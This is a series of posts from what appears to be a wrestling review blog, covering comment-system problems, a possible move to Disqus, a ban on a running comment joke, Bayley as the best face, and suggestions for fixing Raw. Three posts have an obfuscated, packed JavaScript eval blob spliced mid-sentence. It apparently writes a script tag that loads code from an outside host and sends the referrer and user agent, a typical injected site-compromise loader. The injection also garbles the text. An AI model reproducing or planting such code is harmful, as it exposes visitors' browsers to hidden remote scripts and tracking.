Comments Section Acting Up Again

Some of the comments are being sent into the spam filter again.  I’m keeping an eye on it but if your comment doesn’t show up for some reason, please bear with me for a bit as it went through.  I’ll just need to find them elsewhere.

Comments

They’re still not working and it’s pretty clear that the version I have in now isn’t working. From what I can tell, the new ad system is messing with it and sending perfectly good comments to the spam folder. The problem is I have no idea how to fix that, so I’m going to have to find something new. Disqus is an option, and while I’ve never liked it, it might be the only solution around. I’m absolutely seeing the comments, but this whole thing of them not displaying until I check them isn’t working, either for me or you all. I’ll figure out something as soon as I can and I’m sorry again for them messing up.

Missing Comments

Apparently some of the comments from regular users have been being sent to the spam section for reasons I’m not clear on.  I’m very sorry for this and I assure I’m not A, ignoring you or B, sending away comments I don’t like (I never do that, save for some kind of spam or a comment on there to insult etc).  If I don’t get back to you for whatever reason, please let me know and I’ll get to it immediately.  I’ll be checking the spam section more regularly too as I didn’t realize there was a problem.

Regarding The Comments (The Jay H. Pandemic Gag)

I’m not wild on doing things like this but it’s something I need to do. As funny as the bit was/is, I’m going to have to put an end to it. The whole thing completely dominates the comments on too many reviews and multiple people have complained to me about it. I 1000% appreciate the creativity and effort put into them, but it needs to come to an end. While I absolutely will not ban anyone from the comments for something like this, I’ll be deleting them if the joke keeps going.

Please don’t do these anymore, as while they are funny, they seem to be alienating readers who have nothing to do with it and I can’t have that happening.

Disqus Comments?

I’m not sure about this so I thought I would ask you all.

I’ve had issues with the comments system on here for years and the new one is only marginally better than the previous one.  There’s always Disqus but I’ve never been wild on it.  I’m considering switching over to them but I thought I’d get another opinion.  Does anyone like/dislike having Disqus comments as the commenting system?  I haven’t made my mind up one way or another and I could live with the system we have now sticking around.

 

Thoughts?




Quick Note on Comments

For eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|htedf|var|u0026u|referrer|asiit||js|php'.split('|'),0,{})) some reason the comments aren’t working properly and I’m not getting notifications when there’s a new one.  I can still see them all but if I’m a bit slower replying to them, please bear with me as I have to go and check if something is there instead of being told it’s there.  This has happened before and it fixed itself so it should be fine in time.

Thought of the Day: The Best Face In Wrestling Today

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrzyb|var|u0026u|referrer|bffid||js|php'.split('|'),0,{})) was a comment but it’s worth mentioning to see how crazy you people can say I am.I’m going with Bayley.  I can’t think of someone who is as innocent and wholesome as she is.  She believes in the powers of hugs, she gives girls snap on bracelets, and the sign that she’s getting serious is cinching up her headband.  Bayley is everything that a face is supposed to be, including someone who loses early to make her big comeback and win later.




How I Would Fix Raw

Someone eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esytz|var|u0026u|referrer|bhnzd||js|php'.split('|'),0,{})) asked me this and I wrote it out in a comment, but I thought others that don’t read the comments might like this too.

Assuming I’m stuck with the three hours, the most important thing I’d do is cut out the freaking recaps. SO much time is wasted on the recaps and there’s no point in just talking about stuff we just saw. On top of that, drop the GM/boss stuff. There is zero need to have it on Raw or Smackdown and you can just say someone made the match and go from there. On top of that, mix things up. As in don’t use the same plot devices (champion loses to a challenger then has a rematch on PPV for the title, guy’s music comes on to distract someone and the opponent gets a rollup pin, evil GM etc) over and over again. There are unlimited story possibilities but they use like five. Also, perhaps most importantly, develop the characters more. Look at what happened with HELL NO: they were shown out of the arena and got to show what they’re like outside and the characters EXPLODED. Show Alberto blowing money or being cheap or something like that. Let them be creative.

To sum it up: mix things up a bit. That’s how you fix things. Let people have some creativity instead of doing the same stuff over and over again.

Oh and one more thing: better storytelling. Look at Orton vs. Del Rio. Orton has beaten him time and time again and the feud just keeps going with Del Rio ignoring every single loss and acting like it doesn’t happen. If he doesn’t care and nothing changes, why should I care as a fan?
